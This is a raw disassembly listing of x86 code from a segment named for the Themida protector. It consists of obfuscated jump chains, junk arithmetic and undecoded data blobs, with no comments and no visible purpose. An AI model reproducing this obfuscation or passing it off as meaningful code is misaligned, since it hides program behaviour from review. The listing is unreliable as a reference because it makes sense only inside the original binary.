		not	ebp
		push	edi
		push	esi
		mov	esi, 0DB01D98Dh
		mov	edi, esi
		jmp	loc_566AF7
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 29h
		dd 0E91AD100h, 1C5Fh
; ---------------------------------------------------------------------------


loc_56DF40:				; CODE XREF: Themida_:005626B6j
		push	edx
		jmp	loc_564DAC
; ---------------------------------------------------------------------------
		dw 34B3h
		dd 8858E330h, 8FE95BD9h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF53:				; CODE XREF: Themida_:005706B1j
		add	esp, 4
		jmp	loc_56FBF3
; ---------------------------------------------------------------------------
		dw 0C889h
		dd 0E9C60159h, 41B1h, 50243C8Bh, 0D5E9E089h, 5E000028h
		dd 24348155h, 202B7A80h, 80F7815Fh, 5D202B7Ah, 53E9FB01h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DF8B:				; CODE XREF: Themida_:005666FEj
		sub	eax, 3289031Bh
		sub	eax, 0E4342E7h
		sub	eax, 0C31D2BCCh
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		add	bl, 4Eh
		push	ecx
		mov	cl, 0A4h
		add	bl, 7Ch
		add	bl, 0E0h
		jmp	loc_55D3D1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 4268240Ch, 89000076h, 0E789243Ch, 4C781h, 0B8500000h
		dd 765A49A5h, 0FFDBA2E9h, 77E981FFh, 2903933Bh,	77C181D1h
		dd 5A03933Bh, 0C8BCD01h, 51E95524h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56DFEB:				; CODE XREF: Themida_:0056EE6Bj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_566108
; ---------------------------------------------------------------------------
		db 58h
		dd 4EC81h, 14890000h, 16685124h, 0E96A5361h, 0FFFF92E7h
		dd 5FE9515Eh, 2CFFFFB5h, 6FD9E96Bh, 0CD81FFFFh,	281C5059h
		dd 2FC6F581h, 0B9512688h, 599105DCh, 8108E9C1h,	4A0DC8F1h
		dd 2E9C15Fh, 0B22AF181h, 0CD290B72h, 0FF8228E9h, 240489FFh
		dd 0FFA7C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E05D:				; CODE XREF: Themida_:0056577Dj
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 349EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E072:				; CODE XREF: Themida_:00569C63j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_563910
; ---------------------------------------------------------------------------
		dd 0EA814242h, 3CE55387h, 7890E94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E08E:				; CODE XREF: Themida_:0055E066j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	bl, al
		sub	bl, 0A4h
		sub	bl, 4Eh
		add	bl, 74h
		push	ebp
		push	esi
		push	563F01ABh
		jmp	loc_56EE1D
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2492E9D1h, 2C89FFFFh, 0BD685524h, 89000042h,	0BD552424h
		dd 4, 0FF9A16E9h, 543B68FFh, 34890000h,	0BA525124h, 1510982h
		dd 2772C3B9h, 6A2AE90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E0EA:				; CODE XREF: Themida_:00568B45j
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D119
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FFC281D2h, 42FFFFFFh, 9058EA81h, 0D3897F36h, 0C48E9h
		dd 4C28300h, 5C241487h,	0FEFB9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E125:				; CODE XREF: Themida_:00562086j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56876F
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0D1B95124h, 0E9633065h, 0FFFF6FBBh, 0EC81512Ch, 4, 0B5240C89h
		dd 0DDE58069h, 0FF381BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E151:				; CODE XREF: Themida_:0055E6DDj
		shr	ecx, 7
		add	ecx, 0FF0AD137h
		jmp	loc_5668D1
; ---------------------------------------------------------------------------


loc_56E15F:				; CODE XREF: Themida_:00563EC9j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebx
		push	3BE4h
		jmp	loc_55DFD8
; ---------------------------------------------------------------------------


loc_56E192:				; CODE XREF: Themida_:0056EAE6j
		bts	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56E19D:				; CODE XREF: Themida_:00567604j
		add	esi, 4
		jmp	loc_55D31E
; ---------------------------------------------------------------------------


loc_56E1A8:				; CODE XREF: Themida_:0056213Aj
		sub	edx, ecx
		add	edx, 5A877A1h
		mov	ecx, [esp]
		jmp	loc_55FBBA
; ---------------------------------------------------------------------------
		dd 4C481h, 0C6830000h, 24348704h, 0FFEC6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E1C9:				; CODE XREF: Themida_:00571D42j
		not	ecx
		xchg	ecx, edi
		jmp	loc_560AB7
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 3A13C281h, 0EA812516h, 4F7D3462h,	25E9EA29h
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E1EB:				; CODE XREF: Themida_:0056F538j
		dec	ebp
		not	ebp
		shl	ebp, 7
		inc	ebp
		add	ebp, 8893DB03h
		jmp	loc_55E75F
; ---------------------------------------------------------------------------


loc_56E1FD:				; CODE XREF: Themida_:0055D596j
		push	esi
		jmp	loc_571454
; ---------------------------------------------------------------------------


loc_56E203:				; CODE XREF: Themida_:00568F4Ej
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_56D9FF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 54242C89h, 83242C8Bh,	0BE5604C4h, 0A053C89h
		dd 2964BF57h, 0EF810AE4h, 0BF658CAh, 9415EF81h,	0FE29F4E8h
		dd 69ED815Fh, 10EE56Fh,	69C581F5h, 5E0EE56Fh, 0FF2B6BE9h
		dd 242C89FFh, 68525D54h, 891h, 0BB241C89h, 41A61E73h, 277FE9h
		dd 2414F700h, 1754E9h, 0F7FD8700h, 81FD87D7h, 8CBA1CEDh
		dd 0CEEB819Eh, 57462144h, 0E2377EBFh, 69E78159h, 8170D573h
		dd 0A32A1EF7h, 0E9FB0140h, 0BDh, 5D801h, 0E958E82Ah, 0FFFEF24Fh
		dd 815DEB29h, 2144CEC3h, 242C8B46h, 81E18951h, 4C1h, 4B85000h
		dd 1000000h, 982AE9C1h,	5BFFFFh, 0E9CE2CD0h, 0FFFFC935h
		dd 0DEF7EED1h, 0D180C681h, 0F22138EEh, 828BE95Eh, 0C183FFFFh
		dd 9CE981FFh, 0E91F1752h, 0FFFFFC66h, 0E9C0DCB1h, 6E1C006h
		dd 0E901E980h, 0FFFF15F2h, 5324248Bh, 4EC81h, 14890000h
		dd 88C68824h, 2434FFF3h, 0E289525Ah, 4B951h, 0EA810000h
		dd 4F5201B6h, 0FEF212E9h, 240C8BFFh, 81E28952h,	4C2h, 4C28100h
		dd 52000000h, 42474FFh,	24048F5Ah, 5724248Bh, 158868h
		dd 24048900h, 0FF4F44E9h, 0EB015FFFh, 0D7EFE955h, 0DBF7FFFFh
		dd 0E956D3F7h, 0FFFF0B1Ah, 8351E9B2h, 53E904ECh, 87000029h
		dd 87D7F7FDh, 0A1F581FDh, 1F137FDh, 83595DEBh, 1C8904ECh
		dd 2474FF24h, 0FB37E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E39A:				; CODE XREF: Themida_:005683CAj
		pop	edx
		sub	dword ptr [esp+4], 5BD55E20h
		push	ecx
		mov	ecx, 71E705C9h
		sub	dword ptr [esp+8], 0FAA0016h
		add	[esp+8], ecx
		add	dword ptr [esp+8], 0FAA0016h
		jmp	loc_568286
; ---------------------------------------------------------------------------
		dw 315Fh
		dd 0BE565EF0h, 6747A630h, 348BF029h, 8FD3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E3D6:				; CODE XREF: Themida_:0056BD13j
		push	edi
		jmp	loc_565996
; ---------------------------------------------------------------------------
		dd 16EB850h, 0E0C17351h, 13F23503h, 0C331FFF7h,	7EBC158h
		dd 4026E94Bh, 51ADFFFFh, 2328BE56h, 45B91DDFh, 810E3140h
		dd 130ABBC1h, 0E9F10132h, 0FFFF8CDBh, 301FE95Ch, 0C281FFFFh
		dd 4, 8704C283h, 555C2414h, 0FFBAC9E9h,	0E95B54FFh, 0FFFFA786h
; ---------------------------------------------------------------------------


loc_56E430:				; CODE XREF: Themida_:005657F3j
		sub	dword ptr [esp+4], 45B04FB4h
		sub	dword ptr [esp+4], 31B10174h
		jmp	loc_572356
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0FDh
		dd 83FFFF2Ah, 5D042404h, 4BE56h, 0F5010000h, 3456685Eh
		dd 4890000h, 0B8505524h, 47A66E27h, 2504E0C1h, 6CF80ACAh
		dd 0FD35D0F7h, 52EBC9FCh, 0D589C289h, 0F581585Ah, 362249B4h
		dd 5302E5C1h, 272C9BBBh, 5BDD3147h, 0FFB145E9h,	3E9C1FFh
		dd 0AECE9h, 241C8900h, 7F5068h,	0B16800h, 2BE90000h, 89FFFFC7h
		dd 0EC83243Ch, 240C8904h, 0FF172CE9h, 2434FFFFh, 0FFC9F3E9h
		dd 24148BFFh, 4C481h, 59580000h, 1C8BFD08h, 52B36824h
		dd 0DE90000h, 0BAFFFFC0h, 13BF6A77h, 0FF74CEE9h, 1C875AFFh
		dd 24248B24h, 5EE68h, 240C8900h, 0B9h, 4EBE5600h, 81628971h
		dd 0C80820F6h, 8E6EE937h, 0FA01FFFFh, 9168565Fh, 5E756D79h
		dd 0A6DB951h, 72E900B5h, 28FFFFFFh, 449D68C3h, 14890000h
		dd 40B45024h, 0D058E288h, 0B15166E2h, 0A3BDE941h, 9FB5FFFFh
		dd 0C8BEF00h, 4EC8324h,	0DF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E54D:				; CODE XREF: Themida_:00563A62j
		neg	esi
		or	esi, 1E2622A6h
		add	esi, 880809h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 77A3473Fh
		push	edi
		pop	ecx
		pop	edi
		shr	ecx, 6
		push	edx
		mov	edx, 74580C41h
		neg	edx
		jmp	loc_5604E9
; ---------------------------------------------------------------------------


loc_56E580:				; CODE XREF: Themida_:0056C4C0j
		mov	esi, edx
		pop	edx
		sub	esi, 3E701BB5h
		xor	esi, 0E799DF08h
		jmp	loc_56FF0B
; ---------------------------------------------------------------------------
		dd 0E903EFC1h, 3C8Bh, 865BDE88h, 30C186F0h, 30D930CBh
		dd 0EC8351CBh, 24148904h, 3468DE88h, 8900004Eh,	0F388241Ch
		dd 0E9E9D988h, 83FFFFC3h, 2C8904ECh, 4CFCBD24h,	0E58149D1h
		dd 27F01C1Bh, 0E27B850h, 0C58113A5h, 26254DC6h,	3B91E9h
		dd 24248B00h, 0F9A7E955h, 0BF57FFFEh, 4, 0F0E9F901h, 83FFFFF6h
		dd 6CE901EEh, 88000036h, 0E9525AF0h, 50Fh, 4B50C381h, 0E94323EFh
		dd 0FFFFAC96h, 0E924148Bh, 0FFFF6AF6h, 0D003E1C0h, 0C0D9F6E1h
		dd 0F18008E9h, 0C0E980C4h, 0C180E128h, 0E1C058C0h, 0FBC98007h
		dd 0FE46E180h, 7E9C0C1h, 0F6D1C180h, 41C180D9h,	0FE7DB753h
		dd 0E9CFFEC7h, 144Ah
; ---------------------------------------------------------------------------


loc_56E658:				; CODE XREF: Themida_:00561F8Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 972B1916h
		push	edx
		mov	edx, 78807878h
		jmp	loc_566909
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 34h
		dd 0D7F75C24h, 8306EFC1h, 7C6801EFh, 89000072h,	83B82404h
		dd 0E915FE7Ah, 3B2Ah, 5B45C3B8h, 1AE8353Ch, 0C5010126h
		dd 586DE958h, 0C481FFFFh, 4, 8B2434FFh,	62682404h, 8900005Ch
		dd 0F4E92414h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56E6C3:				; CODE XREF: Themida_:00571679j
		mov	[esp], edx
		jmp	loc_55DEE3
; ---------------------------------------------------------------------------


loc_56E6CB:				; CODE XREF: Themida_:00571FA7j
		mov	ebp, 40C84C97h
		not	ebp
		sub	ebp, 5D3799FAh
		jmp	loc_570AC5
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0E2h
		dd 56248F47h, 0F646BBBEh, 0BCE8168h, 817AF333h,	0F0AB3EC6h
		dd 5EF7019Ch, 5B2434FFh, 0E9E28952h, 0FFFEF225h, 0E9243C8Bh
		dd 0FFFF5B5Fh, 3020C280h, 0E8305AD5h, 83240C8Bh, 0E95004C4h
		dd 0FFFFAF75h, 5E0C158h, 0EC6EDD35h, 7E550D0Dh,	0EC814A8Fh
		dd 4, 0BB241C89h, 5AD36CAFh, 0D611F381h, 0D829C8A3h, 0FF47EDE9h
		dd 81FA01FFh, 0FC75C5EAh, 9FC28146h, 0FF42AB6Ch, 815F2434h
		dd 4C4h, 24148700h, 0AEB0E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E76A:				; CODE XREF: Themida_:00569352j
		add	edx, 4
		jmp	loc_5729EC
; ---------------------------------------------------------------------------


loc_56E775:				; CODE XREF: Themida_:0056C7E0j
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D8CA
; ---------------------------------------------------------------------------


loc_56E787:				; CODE XREF: Themida_:005609A3j
		mov	esi, [esp]
		add	esp, 4


loc_56E78D:				; CODE XREF: Themida_:0057120Cj
		push	46C4h
		jmp	loc_566D4E
; ---------------------------------------------------------------------------
		db 58h
		dd 0C781CF01h, 60DD1DD9h, 32BEE9h, 4C48100h, 5000000h
		dd 4, 81E28952h, 4C2h, 4EA8300h, 0FF0DB2E9h, 575551FFh
		dd 65D1B951h, 0E1C127B5h, 866FE905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E7D2:				; CODE XREF: Themida_:00571E6Cj
		mov	ebp, 3F3B000Dh
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_56839C
; ---------------------------------------------------------------------------
		db 66h,	5Fh, 66h
		dd 0E906EAC1h, 0FFFF6E64h, 7DC3815Ch, 11FBC5Ah,	4EC83C3h
		dd 57240489h, 0A4490E68h, 0F7815F41h, 24973A30h, 575FF889h
		dd 22956BFh, 81EFD137h,	9F9E2DEFh, 4756E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E81E:				; CODE XREF: Themida_:005701C5j
		pop	ebp
		jmp	loc_564AA5
; ---------------------------------------------------------------------------
		dd 880E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E82A:				; CODE XREF: Themida_:0056704Cj
		pop	edx
		add	esp, 4
		jmp	loc_55DA9C
; ---------------------------------------------------------------------------


loc_56E833:				; CODE XREF: Themida_:005729F0j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56D371
; ---------------------------------------------------------------------------
		db 29h,	0C6h, 58h
		dd 0C681FE01h, 63F63B8Dh, 2A6C681h, 91E94C67h, 0FF000026h
		dd 815E2434h, 4C4h, 0EA7BE900h,	555AFFFEh, 385326BDh, 0F7E95561h
		dd 89FFFF7Bh, 4C581E5h,	83000000h, 2C8704EDh, 14895C24h
		dd 81E28924h, 4C2h, 0F934E900h,	0E95EFFFFh, 170Eh
; ---------------------------------------------------------------------------


loc_56E8A4:				; CODE XREF: Themida_:0055D61Cj
		push	edi
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edi
		push	esi
		mov	esi, 54D71925h
		jmp	loc_562548
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 5Dh
		dd 0FF78FEE9h, 0E78957FFh, 4C781h, 0C7830000h, 243C3304h
		dd 33243C31h, 505C243Ch, 4B8h, 7DEA8100h, 12E354Ch, 85E951C2h
		dd 81FFFF24h, 8B737FC7h, 0E5C78135h, 107327Bh, 0E5EF81D7h
		dd 8107327Bh, 8B737FEFh, 0BD555A35h, 69BE2F74h,	0FFF48BE9h
		dd 5DE889FFh, 3E0C148h,	2DFFE883h, 0F4ACB22h, 441AED81h
		dd 0C5295F2Ch, 441AC581h, 89585F2Ch, 2434FFE8h,	0FFC25BE9h
		dd 75CE81FFh, 5330481Fh, 4513DABBh, 43DBF77Ah, 0EB81D3F7h
		dd 137E7116h, 87A7C381h, 0DE09F6FBh, 0BE94E5Bh,	0C1FFFFAAh
		dd 0BE5604E0h, 4A355857h, 0E95EF029h, 0FFFF04F4h, 8124248Bh
		dd 4C3h, 241C8700h, 2924248Bh, 0E99C2404h, 392Eh
; ---------------------------------------------------------------------------


loc_56E988:				; CODE XREF: Themida_:005642FDj
		add	esp, 4
		push	ecx
		push	7372h
		mov	[esp], ebp
		mov	ebp, 8FF3CCAh
		jmp	loc_570C56
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0C1810000h, 5E7967C9h, 6850E901h, 468B6D9Dh,	0D74FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E9BA:				; CODE XREF: Themida_:0056555Bj
		push	eax
		mov	eax, 0B984069h
		add	eax, 24B95860h
		inc	eax
		and	eax, 41072A92h
		jmp	loc_55F8BA
; ---------------------------------------------------------------------------
		dd 159CD31h, 0E7D15DEFh, 2CCAEF81h, 0F781AC3Bh,	156E7718h
		dd 0FEF530E9h, 8E5C1FFh, 6C75E581h, 0F58161F8h,	50435D76h
		dd 0FFF8AFE9h, 81C329FFh, 4C5C30C3h, 24048B31h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56AC3A
; ---------------------------------------------------------------------------


loc_56EA10:				; CODE XREF: Themida_:005701CBj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5645CD
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF04C2E9h, 5AD389FFh, 6824048Bh, 78DBh, 0FF5C8DE9h
		dd 4C483FFh, 0FF8C27E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EA3D:				; CODE XREF: Themida_:00568C4Bj
		push	ebp
		jmp	loc_56CF42
; ---------------------------------------------------------------------------


loc_56EA43:				; CODE XREF: Themida_:0055DFE1j
		mov	esi, 78743BB7h
		push	139Eh
		mov	[esp], edi
		jmp	loc_5646A3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6624248Bh, 9C240409h, 0FEE888E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EA65:				; CODE XREF: Themida_:005667C8j
		add	edx, 4
		jmp	loc_561DF2
; ---------------------------------------------------------------------------
		dd 465BDE89h, 0A9A5F681h, 0F7317C52h, 0FF643DE9h, 48B66FFh
		dd 0E6895624h, 4BB53h, 0DE010000h, 8014E95Bh, 48FFFFFh
		dd 7A556824h, 6EE90000h, 89FFFF37h, 0A968243Ch,	89000072h
		dd 4812424h, 424h, 0F8C5E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56EABA:				; CODE XREF: Themida_:0056508Cj
		mov	ebp, 42AC5CE0h
		xor	ebp, 34156AB5h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 76B93658h
		add	edi, ebp
		pop	ebp
		push	30C9h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E192
; ---------------------------------------------------------------------------
		db 55h
		dd 7F69F7BDh, 8602E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EAF6:				; CODE XREF: Themida_:0056A67Cj
		xor	ah, 5
		inc	ah
		jmp	loc_561647
; ---------------------------------------------------------------------------


loc_56EB00:				; CODE XREF: Themida_:0056A492j
		pop	dword ptr [esp]
		jmp	loc_568177
; ---------------------------------------------------------------------------
		dd 0C828DC2Ch, 0E951DC04h, 20EBh, 9E95351h, 88FFFF63h
		dd 0E9F188C6h, 0FFFFEF0Ah, 0EB81C301h, 72E34957h, 9EFE958h
		dd 0E1810000h, 5DA05A1Bh, 7D03BA52h, 0D10143EDh, 4EC815Ah
		dd 89000000h, 14F7240Ch, 0C1815924h, 0B0A8AFB6h, 0FFFE77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56EB59:				; CODE XREF: Themida_:0056A2B3j
		pop	edi
		jmp	loc_56D3D5
; ---------------------------------------------------------------------------


loc_56EB5F:				; CODE XREF: Themida_:0055E607j
		add	ecx, 332A7E46h
		or	ecx, 4554265Ah
		xor	ecx, 57156F79h
		jmp	loc_570D90
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 6B96E781h, 0EF81680Eh, 2E757AD7h, 59ABC781h,	0F7811E55h
		dd 1A937425h, 2DE9FB01h, 89FFFF60h, 8BB241Ch, 31235F92h
		dd 241C8BD8h, 3E9CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56EBA9:				; CODE XREF: Themida_:005633B2j
		pop	eax
		add	dl, bl
		pop	ebx
		and	dl, 2Ch
		jmp	loc_570651
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 0FFFF5E4Dh, 4C181h, 0EC830000h, 24348904h, 7E41BA52h
		dd 0EAD10CCCh, 0CECF281h, 0D6892A92h, 8324148Bh, 0F68104C4h
		dd 612C52BEh, 241CF756h, 0FF9B64E9h, 2E6C1FFh, 7574B850h
		dd 0BC3562DDh, 14DB9EFh, 0F2C0E9C6h, 515DFFFFh,	4B76BEB9h
		dd 0E9CF290Fh, 0FFFF1A44h
; ---------------------------------------------------------------------------


loc_56EC10:				; CODE XREF: Themida_:0056D9B2j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_570AA9
; ---------------------------------------------------------------------------


loc_56EC2C:				; CODE XREF: Themida_:0057118Bj
		push	5D1E6AF9h
		pop	esi
		xchg	ebx, esi
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		xchg	ebx, esi
		dec	esi
		sub	esi, 6A8B6E45h
		push	ebx
		jmp	loc_567D09
; ---------------------------------------------------------------------------


loc_56EC49:				; CODE XREF: Themida_:005668BCj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	837h
		mov	[esp], ebp
		jmp	loc_567A0C
; ---------------------------------------------------------------------------


loc_56EC66:				; CODE XREF: Themida_:0055F4D3j
		sub	ebx, 632D725Ch
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5621F3
; ---------------------------------------------------------------------------


loc_56EC77:				; CODE XREF: Themida_:0056728Aj
		add	ebp, 4083251Dh
		xor	ebp, 35DB3363h
		shl	ebp, 5
		shr	ebp, 6
		jmp	loc_570D1F
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 246B4865h, 4D3BC981h, 0C981283Ah, 386F25ABh,	0E3ABD55h
		dd 0E94D2794h, 0FFFF9C30h
; ---------------------------------------------------------------------------


loc_56ECAC:				; CODE XREF: Themida_:0056B564j
		push	ebp
		jmp	loc_55DB8D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0FFE92404h
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ECBB:				; CODE XREF: Themida_:0056C645j
		pop	esp
		mov	[esp], edi
		push	522Ah
		mov	[esp], ebx
		mov	ebx, 0
		push	eax
		push	73ECh
		mov	[esp], esp
		jmp	loc_57223D
; ---------------------------------------------------------------------------


loc_56ECDA:				; CODE XREF: Themida_:0056AF85j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 6613B46h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56ECEF:				; CODE XREF: Themida_:00564DE0j
		mov	eax, [esp]
		jmp	loc_55F20A
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFC516E9h, 0C3815BFFh, 20ED5DD1h, 2267E9h
		db 0
; ---------------------------------------------------------------------------


loc_56ED09:				; CODE XREF: Themida_:0056C5DFj
		pop	esp
		pop	eax
		sub	eax, 52596E99h
		pop	edx
		or	eax, 7B290C3Eh
		shr	eax, 5
		neg	eax
		shr	eax, 2
		push	edi
		mov	edi, 227614B1h
		shl	edi, 2
		inc	edi
		neg	edi
		jmp	loc_5622C8
; ---------------------------------------------------------------------------
		db 81h
		dd 814D51C3h, 64BBE917h, 27B8FFFFh, 89130016h, 5DC8E9C6h
		dd 15EFFFFh, 712D5AD0h,	8B631B53h, 0E952242Ch, 2990h, 58C5215Ah
		dd 2BFBE9h, 24148B00h, 4C481h, 0EA810000h, 71E34C25h, 0C281DA29h
		dd 71E34C25h, 5B2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_562A36
; ---------------------------------------------------------------------------
		db 64h
		dd 52E9028Fh, 33FFFEE5h, 4312404h, 24043324h, 8924248Bh
		dd 0D8E9241Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56EDAF:				; CODE XREF: Themida_:00566491j
		push	edi
		add	dword ptr [esp], 37E9004Dh
		pop	esi
		sub	esi, 37E9004Dh
		mov	edi, [esp]
		add	esp, 4
		push	19A1h
		mov	[esp], esi
		pop	ebx
		pop	esi
		jmp	loc_56C4D4
; ---------------------------------------------------------------------------
		db 89h
		dd 50BD242Ch, 454BCC7Bh, 8701ED83h, 87D2F7D5h, 0EC581D5h
		dd 294C4C8Dh, 41A4E9EEh, 8B66FFFFh, 5252240Ch, 27B7E9h
		dd 0E9F38700h, 0FFFF8C2Ch, 55C5C581h, 0D5293DA6h, 55C5ED81h
		dd 148B3DA6h, 4C48324h,	3869E9h
		db 0
; ---------------------------------------------------------------------------


loc_56EE1D:				; CODE XREF: Themida_:0056E0AEj
		pop	esi
		push	edx
		mov	edx, 24C06F4Ah
		jmp	loc_5648FB
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0B9515D54h, 6ECA52A1h, 55C2F181h, 0BA522EEFh, 4025075Fh
		dd 0FFF18CE9h, 0BF5756FFh, 496E37ADh, 6D6836BEh, 0E9FE296Ah
		dd 0FFFFDEACh
; ---------------------------------------------------------------------------


loc_56EE58:				; CODE XREF: Themida_:00567C74j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_56DFEB
; ---------------------------------------------------------------------------
		dd 3732BA52h, 0D6012C0Eh, 241C8B5Ah, 4C481h, 0CE810000h
		dd 162529E5h, 24D46852h, 2C890000h, 2B7FBD24h, 62E912F8h
		dd 58FFFF03h, 259CF781h, 0EA817A9Dh, 30241591h,	10A5C281h
		dd 0FA29246Ch, 10A5EA81h, 0C281246Ch, 30241591h, 0FFEA98E9h
		dd 9EBD55FFh, 0C13E4A08h, 0EDC102EDh, 0E94D4D08h, 0FFFF3A22h
		dd 1F7F57BEh, 5EF0293Ch, 0CEE9E829h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EEE3:				; CODE XREF: Themida_:0056AB87j
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF5B2FE9h, 24248BFFh, 0FF0282E9h, 243433FFh, 0F624248Bh
		dd 0B60F66F9h, 0EB86E9CCh, 159FFFFh, 89535FF9h,	4C381E3h
		dd 83000000h, 1C8704EBh, 0A1E95C24h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56EF27:				; CODE XREF: Themida_:00566B61j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	esi
		push	edi
		mov	edi, 4805599h
		neg	edi
		jmp	loc_55FAAA
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 9D0CE924h, 4BBFFFFh, 0E9000000h, 0FFFF3706h
		dd 20BA68h, 243C8900h, 588FE951h, 2C89FFFFh, 815D5424h
		dd 4ECh, 1C05E900h, 89560000h, 16E957E6h, 81FFFF9Dh, 7F5E4DEDh
		dd 240C8B5Dh, 0FF2860E9h, 24E981FFh, 0C1265B43h, 0BA5207E9h
		dd 0FE4C8943h, 1BE9D101h, 0BFFFFFC3h, 4, 0FFCF7DE9h, 243C8BFFh
		dd 8104C483h, 4ECh, 24348900h, 6DE9E689h, 53FFFEE7h, 172F6855h
		dd 0E95D51E5h, 0FFFFC292h
; ---------------------------------------------------------------------------


